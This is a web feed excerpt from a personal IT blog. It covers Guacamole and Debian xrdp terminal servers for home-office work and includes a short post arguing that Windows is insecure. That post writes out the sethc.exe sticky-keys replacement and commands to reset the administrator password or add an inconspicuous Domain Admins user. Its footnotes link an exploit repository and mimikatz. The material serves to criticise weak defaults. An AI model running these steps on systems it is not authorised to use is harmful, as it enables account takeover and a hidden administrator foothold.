&lt;p>The much more flexible concept is the integration into a web browser with common internet technologies. This enables third-party systems not managed by an in-house IT department to access any resources. Those who have made their infrastructure vendor-independent in recent years and prepared themselves for the so-called bring-your-own-device principle&lt;sup id="fnref:26">&lt;a href="#fn:26" class="footnote-ref" role="doc-noteref">26&lt;/a>&lt;/sup> are today in a much better situation when integrating home office workplaces.&lt;/p>
&lt;p>The fact that by 2020 too many businesses and their HR departments still do not understand how questions about home office, working environment and operating system become hard recruitment factors for highly skilled employees is something I consider particularly depressing. Ultimately, nobody would think about hiring operators of excavators just to press shovels into their hands to dig a pit.&lt;/p>
&lt;blockquote>
&lt;p>Everyone should work in exactly the environment they are most familiar with and can do their job efficiently.&lt;/p>
&lt;/blockquote>
&lt;p>To me, terminalservers with free HTTPS gateways are an indispensable part of a sustainable development.&lt;/p>
&lt;h2 id="apache-guacamole">Apache Guacamole&lt;/h2>
&lt;p>True, guacamole&lt;sup id="fnref:27">&lt;a href="#fn:27" class="footnote-ref" role="doc-noteref">27&lt;/a>&lt;/sup> is a mouth-breaker. But as free software under the patronage of the Apache Foundation, it provides an all the better gateway for
RDP, VNC and SSH connections via HTTPS. I would like to present how this solution has helped a medium-sized company to connect its employees in corona lockdown with their desktop workstations in the office.&lt;/p>
&lt;p>And this is meant quite literally. Every Windows desktop workstation can be converted into a terminalserver with just one mouse click. A user connected in that way continues to work with his usual work environment and profile settings. Guacamole acts as a gateway between the two worlds by converting the RDP signal on port 3389 from the internal network into a TLS encrypted HTTPS on port 443.&lt;/p>
&lt;p>The user only needs a standard web browser in the home office, if necessary on the private PC. No adjustments, plug-ins or additional software client installation are required. When integrated as an external application into a Nextcloud&lt;sup id="fnref:28">&lt;a href="#fn:28" class="footnote-ref" role="doc-noteref">28&lt;/a>&lt;/sup>, an employee finds everything in a familiar and, above all, uniform interface. Calendar, emails and the office desktop in different browser tabs are not only technically elegant but also handy for switching back and forth.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20200830-homeoffice-ts-guac.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20200830-homeoffice-ts-guac.webp#c" alt="RDP application via Guaucamole in Nextcloud environment" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Guacamole can authenticate to OpenID, SAML or, if you prefer, LDAP. For security reasons I explicitly do not recommend LDAP. I have deliberately chosen the internal database-supported authentication, as I assume, that sooner or later credentials will be lost, especially when used in the internet.&lt;/p>
&lt;p>What Microsoft can only do awkwardly , undocumented and proprietary through Azure-Cloud&lt;sup id="fnref:29">&lt;a href="#fn:29" class="footnote-ref" role="doc-noteref">29&lt;/a>&lt;/sup> far beyond any internet standards for its RDP/RDS, Guacamole offers by default: A TOTP multi-factor authentication. Standard-compliant and secure in accordance with RFC 6238&lt;sup id="fnref:30">&lt;a href="#fn:30" class="footnote-ref" role="doc-noteref">30&lt;/a>&lt;/sup>. Those who already use a Nextcloud with TOTP and the appropriate FreeOTP&lt;sup id="fnref:31">&lt;a href="#fn:31" class="footnote-ref" role="doc-noteref">31&lt;/a>&lt;/sup> app on their mobiles will immediately find their way around. From an administrative point of view, the ready-to-use jail in Fail2Ban&lt;sup id="fnref:32">&lt;a href="#fn:32" class="footnote-ref" role="doc-noteref">32&lt;/a>&lt;/sup> and also the straightforward reverse proxy configuration&lt;sup id="fnref:33">&lt;a href="#fn:33" class="footnote-ref" role="doc-noteref">33&lt;/a>&lt;/sup> are very welcome.&lt;/p>
&lt;p>In terms of functionality all this may be exactly what Microsoft does offer with its HTML5 RD Web Bundle. Apart from the crude multi-factor authentication beyond all internet standards. However, the fundamental flaw with Microsoft is the mandatory integration on a server integrated in AD with IIS. In my humble opinion a complete misconception! What security gain does an upstream system like this offer if an attacker, when overcoming the web server, has put his hand on exactly what he wanted? A tool like mimikatz&lt;sup id="fnref:34">&lt;a href="#fn:34" class="footnote-ref" role="doc-noteref">34&lt;/a>&lt;/sup> doesn&amp;rsquo;t carep about where it generates its &amp;ldquo;Golden Ticket&amp;rdquo; as long as it is running on an AD member computer.&lt;/p>
&lt;h2 id="linux-terminal-server">Linux terminal server&lt;/h2>
&lt;p>A blog post on terminalservers without having shown how easy it is to set up a terminal server under Debian? For any desired number of users and without license costs or pitfalls? No, this is not possible and therefore I will show a short manual at the end. As a challenge and encouragement to try it out for yourself. It is also perfect as a spare system or as a preparation for future migrations. Anything from a Raspi4 to a powerful server can be taken as hardware, just depending on how many users are supposed to work on that system simultaneously. Of course, this host should have a fixed and accessible IP assignment or DNS name for the network.&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Perform a standard Debian server installation without a graphical interface and with SSH as the only selected installation option.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Install a minimal GNOME shell with some essential desktop tools:&lt;/p>
&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># apt install file-roller gthumb seahorse gnome-core gnome-dictionary &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ffmpeg gnupg hunspell-de-de firefox-esr-l10n-de webext-ublock-origin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cifs-utils ssl-cert ca-certificates apt-transport-https
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="3">
&lt;li>Install xrdp&lt;sup id="fnref1:30">&lt;a href="#fn:30" class="footnote-ref" role="doc-noteref">30&lt;/a>&lt;/sup>. This is the software that converts an X11 session to RDP and makes it more transmittable over a network thanks to compression and caching:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># apt install xrdp&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="4">
&lt;li>Adjust Polkit so that a user with his or her specific display is not prompted for root privileges every time. This is done by creating a new rule file with the text editor of your choice:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># nano /etc/polkit-1/localauthority.conf.d/02-allow-colord.conf&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>with this content:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>polkit.addRule&lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#66d9ef">function&lt;/span>&lt;span style="color:#f92672">(&lt;/span>action, subject&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">((&lt;/span>action.id &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;org.freedesktop.color-manager.create-device&amp;#34;&lt;/span> &lt;span style="color:#f92672">||&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>action.id &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;org.freedesktop.color-manager.create-profile&amp;#34;&lt;/span> &lt;span style="color:#f92672">||&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>action.id &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;org.freedesktop.color-manager.delete-device&amp;#34;&lt;/span> &lt;span style="color:#f92672">||&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>action.id &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;org.freedesktop.color-manager.delete-profile&amp;#34;&lt;/span> &lt;span style="color:#f92672">||&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>action.id &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;org.freedesktop.color-manager.modify-device&amp;#34;&lt;/span> &lt;span style="color:#f92672">||&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>action.id &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;org.freedesktop.color-manager.modify-profile&amp;#34;&lt;/span>&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> subject.isInGroup&lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#e6db74">&amp;#34;{group}&amp;#34;&lt;/span>&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">return&lt;/span> polkit.Result.YES;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">})&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now the only thing missing are users for testing. With &amp;ldquo;adduser&amp;rdquo; simply create a group of users and connect with them from other computers via RDP on port 3389. On Windows you might use mstsc.exe for this. On Linux I prefer to use Remmina&lt;sup id="fnref:35">&lt;a href="#fn:35" class="footnote-ref" role="doc-noteref">35&lt;/a>&lt;/sup>, because it provides a neat connection list.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/homeoffice-ts-remmina.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/homeoffice-ts-remmina.webp#c" alt="Remmina" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Much like a Windows terminalserver, this Linux terminalserver may be run behind a guacamole. In contrast to Windows hosts, the RDP protocol can also be tunneled over SSH securely.&lt;/p>
&lt;p>Again, it is necessary to balance out the risks.&lt;br>
The next and third part of this blog series explains in detail how.&lt;/p>
&lt;p>You are welcome,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Von_Neumann_architecture">https://en.wikipedia.org/wiki/Von_Neumann_architecture&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://www.westendverlag.de/buch/die-herrschaftsformel-2/">https://www.westendverlag.de/buch/die-herrschaftsformel-2/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Time-sharing_system_evolution">https://en.wikipedia.org/wiki/Time-sharing_system_evolution&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>🚫 &lt;a href="https://www.computerhistory.org/siliconengine/microprocessor-integrates-cpu-function-onto-a-single-chip/">https://www.computerhistory.org/siliconengine/microprocessor-integrates-cpu-function-onto-a-single-chip/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Single-user_mode">https://en.wikipedia.org/wiki/Single-user_mode&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/CP/M">https://en.wikipedia.org/wiki/CP/M&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/MS-DOS">https://en.wikipedia.org/wiki/MS-DOS&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Leerlaufprozess">https://de.wikipedia.org/wiki/Leerlaufprozess&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/X_Window_System">https://en.wikipedia.org/wiki/X_Window_System&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Independent_Computing_Architecture">https://en.wikipedia.org/wiki/Independent_Computing_Architecture&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Citrix_Systems#Early_history">https://en.wikipedia.org/wiki/Citrix_Systems#Early_history&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://news.microsoft.com/1998/06/16/microsoft-releases-windows-nt-server-4-0-terminal-server-edition/">https://news.microsoft.com/1998/06/16/microsoft-releases-windows-nt-server-4-0-terminal-server-edition/&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Remote_Desktop_Protocol">https://en.wikipedia.org/wiki/Remote_Desktop_Protocol&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://www.thinstuff.com/products/xpvs-server/">https://www.thinstuff.com/products/xpvs-server/&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Portknocking">https://en.wikipedia.org/wiki/Portknocking&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Geo-blocking">https://en.wikipedia.org/wiki/Geo-blocking&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Snort_(software)">https://en.wikipedia.org/wiki/Snort_(software)&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>🚫 &lt;a href="https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2020/Citrix_Schwachstelle_160120.html">https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2020/Citrix_Schwachstelle_160120.html&lt;/a>&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>&lt;a href="https://github.com/aqhmal/CVE-2019-19781">https://github.com/aqhmal/CVE-2019-19781&lt;/a>&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>&lt;a href="https://shodan.io">https://shodan.io&lt;/a>&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:21">
&lt;p>&lt;a href="https://www.heise.de/hintergrund/Remote-Desktop-RDP-Liebstes-Kind-der-Cybercrime-Szene-1-4-4700048.html">https://www.heise.de/hintergrund/Remote-Desktop-RDP-Liebstes-Kind-der-Cybercrime-Szene-1-4-4700048.html&lt;/a>&amp;#160;&lt;a href="#fnref:21" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:22">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/BlueKeep">https://en.wikipedia.org/wiki/BlueKeep&lt;/a>&amp;#160;&lt;a href="#fnref:22" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:23">
&lt;p>🚫 &lt;a href="https://www.ic3.gov/media/2018/180927.aspx">https://www.ic3.gov/media/2018/180927.aspx&lt;/a>&amp;#160;&lt;a href="#fnref:23" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:24">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Security_through_obscurity">https://en.wikipedia.org/wiki/Security_through_obscurity&lt;/a>&amp;#160;&lt;a href="#fnref:24" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:25">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Single_sign-on">https://en.wikipedia.org/wiki/Single_sign-on&lt;/a>&amp;#160;&lt;a href="#fnref:25" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:26">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Bring_your_own_device">https://de.wikipedia.org/wiki/Bring_your_own_device&lt;/a>&amp;#160;&lt;a href="#fnref:26" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:27">
&lt;p>&lt;a href="https://guacamole.apache.org/">https://guacamole.apache.org/&lt;/a>&amp;#160;&lt;a href="#fnref:27" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:28">
&lt;p>&lt;a href="https://apps.nextcloud.com/apps/external">https://apps.nextcloud.com/apps/external&lt;/a>&amp;#160;&lt;a href="#fnref:28" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:29">
&lt;p>&lt;a href="https://docs.microsoft.com/en-us/azure/active-directory/authentication/concept-mfa-howitworks">https://docs.microsoft.com/en-us/azure/active-directory/authentication/concept-mfa-howitworks&lt;/a>&amp;#160;&lt;a href="#fnref:29" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:30">
&lt;p>&lt;a href="https://tools.ietf.org/html/rfc6238">https://tools.ietf.org/html/rfc6238&lt;/a>&amp;#160;&lt;a href="#fnref:30" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&amp;#160;&lt;a href="#fnref1:30" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:31">
&lt;p>&lt;a href="https://freeotp.github.io/">https://freeotp.github.io/&lt;/a>&amp;#160;&lt;a href="#fnref:31" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:32">
&lt;p>&lt;a href="https://www.fail2ban.org/wiki/index.php/Main_Page">https://www.fail2ban.org/wiki/index.php/Main_Page&lt;/a>&amp;#160;&lt;a href="#fnref:32" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:33">
&lt;p>🚫 &lt;a href="https://guacamole.apache.org/doc/gug/proxying-guacamole.html">https://guacamole.apache.org/doc/gug/proxying-guacamole.html&lt;/a>&amp;#160;&lt;a href="#fnref:33" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:34">
&lt;p>&lt;a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz&lt;/a>&amp;#160;&lt;a href="#fnref:34" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:35">
&lt;p>&lt;a href="https://remmina.org/">https://remmina.org/&lt;/a>&amp;#160;&lt;a href="#fnref:35" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Fefe on today's programming</title><link>https://blog.jakobs.systems/en/micro/20200826-quote-fefe-developer/</link><pubDate>Wed, 26 Aug 2020 18:00:21 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20200826-quote-fefe-developer/</guid><description>Quote from Fefe on software developers</description><category>Hacking</category><category>Developers</category><category>Quote</category><content>&lt;p>Felix von Leitner (Fefe) in his latest article&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> at Heise wrote a very good statement straight out from the bottom of my heart:&lt;/p>
&lt;blockquote>
&lt;p>Programming is in reality more an optimisation problem (what is the least effort I have to invest to get the customer to buy this) than engineering design. Even worse: If you find a developer who does everything correctly, then he is not competitive on the market against all the short-term approaches of the botchers of the competition.&lt;/p>
&lt;/blockquote>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.heise.de/hintergrund/Entwicklung-Warum-Rust-die-Antwort-auf-miese-Software-und-Programmierfehler-ist-4879795.html">https://www.heise.de/hintergrund/Entwicklung-Warum-Rust-die-Antwort-auf-miese-Software-und-Programmierfehler-ist-4879795.html&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Windows is broken by design</title><link>https://blog.jakobs.systems/en/micro/20200825-windows-cmd/</link><pubDate>Tue, 25 Aug 2020 08:00:21 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20200825-windows-cmd/</guid><description>Why I consider Windows as broken by design</description><category>Hacking</category><category>Windows</category><category>Concepts</category><content>&lt;p>Feedbacks to my recently written blog &lt;a href="https://blog.jakobs.systems/en/blog/homeoffice/">&amp;ldquo;Working in Homeoffice Part I&amp;rdquo;&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>No Tomas, you can&amp;rsquo;t say you believe Windows is broken by design, bashing everybody up in the face.&lt;/p>
&lt;/blockquote>
&lt;p>or:&lt;/p>
&lt;blockquote>
&lt;p>It&amp;rsquo;s not that simple getting privileges on windows computers.&lt;/p>
&lt;/blockquote>
&lt;p>Well, how to put it right? Perhaps by explaining how easy and quickly you can become an administrator on Windows 7 or Windows 2008R2 server? Without knowledge of any login data at all?&lt;/p>
&lt;ul>
&lt;li>Booting with WinPE Medium or into the rescue console&lt;/li>
&lt;li>identify the correct system partition with diskpart&lt;/li>
&lt;li>Copy cmd.exe into sethc.exe with a one-liner and confirm the security query with Y(es):&lt;/li>
&lt;/ul>
&lt;pre tabindex="0">&lt;code>copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
&lt;/code>&lt;/pre>&lt;p>After rebooting the system, simply press the Shift key 5x times and confirm the prompt with Yes. Voila, we are back in the game standing at 5:1 in the 85th minute:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/hacking-sethc.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/hacking-sethc.webp#c" alt="cmd.exe aka sethc.exe in action" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>We&amp;rsquo;re just one line away from the administrator&amp;rsquo;s password:&lt;/p>
&lt;pre tabindex="0">&lt;code>net user administrator YOURNEWPASSWORDHERE
&lt;/code>&lt;/pre>&lt;p>Which would be rather &amp;ldquo;noisy&amp;rdquo; from a hacker&amp;rsquo;s perspective. Better create an unimpressive user and push him directly into one of the admin groups:&lt;/p>
&lt;pre tabindex="0">&lt;code>net user mueller YOURNEWPASSWORDHERE /add
net group &amp;#34;Domain Admins&amp;#34; mueller /add
&lt;/code>&lt;/pre>&lt;p>The worst thing about this: It is neither new nor unknown. The fundamental logic behind has been the same for 25 years: Just replace anything with the CMD.EXE (COMMAND.COM also worked). In NT4 it was the LOGON screensaver, with XP the on-screen keyboard, with Win7 and 2008 as seen above SETHC.EXE, with Windows 2012 Server it&amp;rsquo;s UTILMAN.EXE, with Windows 10 and 2016 Server it is a bit more complicated but still basically same in principle. And no, I won&amp;rsquo;t reveal that here ;-)&lt;/p>
&lt;p>Other systems ask for encryption during installation, Windows requires manual and complicated activation though. The result: Nobody does.&lt;/p>
&lt;p>This is why I consider Windows as broken by design. It trains its users and in the end all those typical Windows administrators to mediocrity.&lt;/p></content></item><item><title>Working in your Homeoffice - Part I</title><link>https://blog.jakobs.systems/en/blog/20200823-homeoffice/</link><pubDate>Sun, 23 Aug 2020 15:04:21 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20200823-homeoffice/</guid><description>How to integrate homeoffice workstations in corporate networks - Basics</description><category>ISMS</category><category>Networks</category><category>VPN</category><category>Hacking</category><category>Concepts</category><content>&lt;h2 id="home-office-workstations---introduction">Home Office Workstations - Introduction&lt;/h2>
&lt;p>How to integrate a corporate home office securely? And preferably also in a cost-effective, transparent and sustainable way! Some people might have been busy on this question due to Corona lockdown.&lt;/p>
&lt;p>As an external contractor, I used to stand at the sideline more than once and looked into the big arena of swarm idiocy&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> and stupidity&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>With this picture in mind, I&amp;rsquo;m launching a new blog series describing what I think a home office workplace for small and medium-sized businesses should look like. As always: No solution fits every use case universally. Your mileage may vary and of course the remark: I am buyable for exactly such challanges.&lt;/p>
&lt;p>Starting off with the basics of what is considered as standard in information security. You will find orientation in the VdS 10000 Information Security Management System for small and medium-sized businesses&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>. With an excursion into the world of hacking, I will show why transplanting a Windows-based workstation from the internal domain into foreign networks and connecting it with VPN is a dodgy idea. At the end of the first part I show the concept of a portable branch network.&lt;/p>
&lt;p>The second part of this blog series deals with terminalservers. Primarily I want to show how cost-efficiently and quickly all workstations of a business can be transformed into home office workstations. Using multi-factor authentication, TLS encryption, central management and above all without any additional client software blackbox installations. And since the starting point for phasing out any proprietary software is going through terminalservers, I also show how straightforward, inexpensive and quickly a Debian Linux terminalserver with a complete office environment can be set up.&lt;/p>
&lt;p>In the third and last part we evaluate the risks and consequences. This might not sound very exciting at this point, considering the wealth of topics covered in the previous parts. It also might sounds quite unimportant. However, it is not. Top management always needs facts easily to understand and an administrator needs clear guidelines and policies.&lt;/p>
&lt;p>As always, constructive criticism, comments and discussion are welcome.&lt;/p>
&lt;h2 id="now-what-about-infomation-security-management">Now what about Infomation Security Management?&lt;/h2>
